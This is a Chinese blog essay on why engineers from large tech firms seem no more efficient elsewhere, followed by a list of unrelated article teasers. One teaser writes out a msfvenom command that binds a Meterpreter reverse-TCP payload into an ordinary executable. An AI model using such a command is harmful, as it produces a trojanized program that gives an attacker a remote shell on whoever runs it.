大厂出来的人为什么不比你高效?

在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时所观察到的是一致的。
我在阿里巴巴工作的近十年里,同样观察到那些曾在IBM、Oracle、Google、Microsoft任职过的人,来到阿里巴巴后并没有展现出在上一家公司做事的章法和效率,而是很快被身边的同事同化。如果你怀疑这一现象的普遍性,可以回头看一下过去五年、十年,自己所在公司的做事章法和效率有没有得到可观的改善。我猜大概率你的回答是:“没有”。大厂出来的人会流向各行各业的软件开发团队,而“没有”的答案也意味着,这些有大厂经历的人并没有显著拉高行业的整体做事水准。
照理这么多知名企业在“为社会培养人才”,是不是出现这样的结果让人费解呢?借这文章,我先分享一下所发现的二个门道。
门道一,任何企业都是通过将员工螺丝钉化来提升公司整体的工作质效的。听到“螺丝钉”这三个字咱可千万别不高兴,以为将员工比作螺丝钉就矮化了个人的价值和重要性。将员工螺丝钉化,无论对于企业还是员工可都是好事。从企业的角度来说,那是打造“铁打的营盘”的必然,这样营盘上的螺丝钉员工就既好用又好换。从个人的角度呢,因为有更小且具体而明确的工作边界和责任,这样做事就聚焦而更容易出成果。
不过,员工尽心“打螺丝”虽好,可只想做螺丝钉就会出问题,且是大问题。当我们在一家企业工作只顾着做螺丝钉,而没有关心螺丝钉背后的营盘是怎么设计的时,往往意味着对软件行业的认识是非常片面的。比如说,公司的软件开发平台为什么要有持续集成/持续交付/持续部署、代码审查、单元测试、动态分析、静态分析和性能分析这些流程,甚至使这些流程最大程度地自动化和易用,背后就涉及个人对软件工程的理解,进一步这是每位程序员的专业素养的重要组成部分。当没有理解营盘背后的内容时,就很容易采取全靠人力来提升工作质量和效率的“野蛮”模式,出现996不说,还干不出成效。
知道了这个门道后,就不难理解门道二了,那就是:个人的工作质效是建立于所在公司的工作环境之上的。工作环境可以是公司层面的软件开发平台,团队文化氛围,激励机制等内容,是每个人在日常工作中会持续接触和依赖的。换句话说,如果一名员工在A公司的工作质效蛮好,可跳槽到B公司后发现使不上劲,那大概率是因为B公司的工作环境没有A公司的好。
当然啦,说到两个公司工作环境的好坏,如何比较是一件让人头痛的事。我建议比较时,抓住三点即可。第一,公司有没有投入资源去打造工作平台(对于软件开发团队来说就是软件开发平台),帮助员工提升工作质量和效率。第二,公司有没有投入资源培养员工的做事专业度。第三,公司的文化氛围是否会激励员工持续地提升工作质效。
就我的观察,以上三点中的第一点是很多大厂都在干的事,可第二和第三点是很多大厂都忽视的事。由于后两点的忽视,就会出现公司在第一点上用劲所产出的工作平台,最后制约了工作质量和效率。原因很简单,工作平台也是由员工打造的,当公司不重视培养员工的做事专业度时,打造工作平台的员工自然少了对专业做事的至简洞察,从而做不出让人称手的工作平台,或者工作平台的演进跟不上新技术的发展。
了解了这两个门道后,我们就能理解大厂出来的人并不比你高效这一现象了。我认为主要是三大点:第一,你们都在同一家公司工作,因为共享同样的工作环境而凸显不出大厂员工的高效;第二,那些人在大厂工作时只停留于做好螺丝钉,当他加入你所在的公司后,因为没能理解大厂的营盘的价值,从而没能发挥改善眼前的工作环境的作用;第三,来自大厂的同事即便有良好的做事素养,但因为没有心力坚守,被眼前的工作环境裹挟而变得低效。
当然,改善一个公司的工作环境不只是理解营盘的价值那么简单。也正因如此,我在《全面效能》这本书中,花了非常大的篇幅来分享我是如何将作坊团队变成专业做事的团队的。

最后,我想请你思考一个问题:程序员的核心竞争力是什么?在你思考这个问题之前,我想提醒,核心竞争力除了有助于我们在后浪面前保持竞争力外,还让人在职业发展的过程中更难被别人和AI这样的新技术取代。在即将到来的10月18日的QCon上海站,我分享《AI时代团队管理的变与不变》这个话题时,也将和你分享我对程序员核心竞争力的思考。你除了可以来现场与我交流外,也可以等我后面的文章与你分享我的思考。在那之前,期待你在这篇文章后面留言与我交流。
相关文章:
大厂出来的人为什么不比你高效?
在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时…...
71.【C语言】动态内存管理(重点)(4)
本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...
JavaScript 用HTML5约束验证API做表单验证
一、验证属性与通过与否 以下为在表单元素上的可用属性: required<boolean> 必填字段,接受布尔值,默认false pattern<string> 接受正则,用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法ÿ…...
Unity 编辑器多开
开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时,Unity Editor会在项目目录建立一个Temp目录,同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...
【Spring Boot React】Spring Boot和React教程 完整版
【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频,作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元,全栈开发,搭…...
Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...
《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...
征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...
我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...
MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...
01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...
畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)
畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师…...
【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版
文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理,已经进行了介绍与总结,相关内容可参考【…...
二分查找一>寻找峰值
1.题目: 2.解析: 暴力遍历代码:O(N),由于该题数据很少所以可以通过 暴力遍历:O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增,更新就indexif(nums[i]…...
《Linux从小白到高手》理论篇:深入理解Linux的网络管理
今天继续宅家,闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知,在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数,比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX,比如 ppp0 等。 …...
redis数据类型介绍
1. 字符串(String) 字符串是 Redis 中最基本的数据类型,它可以存储任何形式的字符串,包括文本、数字等。字符串类型的操作非常丰富,比如 SET、GET、INCR(自增)、DECR(自减࿰…...
一张照片变换古风写真,Flux如何做到?
前言 解锁图像创作新体验:ComfyUI指南 在AI图像生成领域,ComfyUI 已成为不可忽视的力量。它是基于Stable Diffusion的图像生成工具,提供了一个节点式图形用户界面(GUI),让用户可以通过简单的拖拽与配置来…...
医药行业的智能合同审查:大模型与AI赋能合规管理
随着医药行业的快速发展,尤其是在全球化背景下,企业在业务拓展、合作协议签订中需要处理大量复杂的合同。合同不仅是业务的法律保障,更是风险管理的重要工具。医药行业合同审查的复杂性源于其严格的合规性要求,包括与政府机构、研…...
幂等性接口实现
1、什么是幂等性 幂等(idempotence),这个词源自数学,幂等性是数学中的一个概念,常见于抽象代数中。表达的是N次变换与1次变换的结果相同。简单来说,就是如果方法调用一次和调用多次产生的效果是相同的&…...
日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻
在如今就业市场竞争日益激烈的背景下,越来越多的求职者将目光投向了日本及中日双语岗位。但是,一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧?面对生疏的日语交流环境,即便提前恶补了…...
大话软工笔记—需求分析概述
需求分析,就是要对需求调研收集到的资料信息逐个地进行拆分、研究,从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要,后续设计的依据主要来自于需求分析的成果,包括: 项目的目的…...
PHP和Node.js哪个更爽?
先说结论,rust完胜。 php:laravel,swoole,webman,最开始在苏宁的时候写了几年php,当时觉得php真的是世界上最好的语言,因为当初活在舒适圈里,不愿意跳出来,就好比当初活在…...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...
JVM垃圾回收机制全解析
Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...
【Java_EE】Spring MVC
目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据 编辑RequestBody …...
关于 WASM:1. WASM 基础原理
一、WASM 简介 1.1 WebAssembly 是什么? WebAssembly(WASM) 是一种能在现代浏览器中高效运行的二进制指令格式,它不是传统的编程语言,而是一种 低级字节码格式,可由高级语言(如 C、C、Rust&am…...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
回溯算法学习
一、电话号码的字母组合 import java.util.ArrayList; import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"", //0"", //1"abc", //2"…...
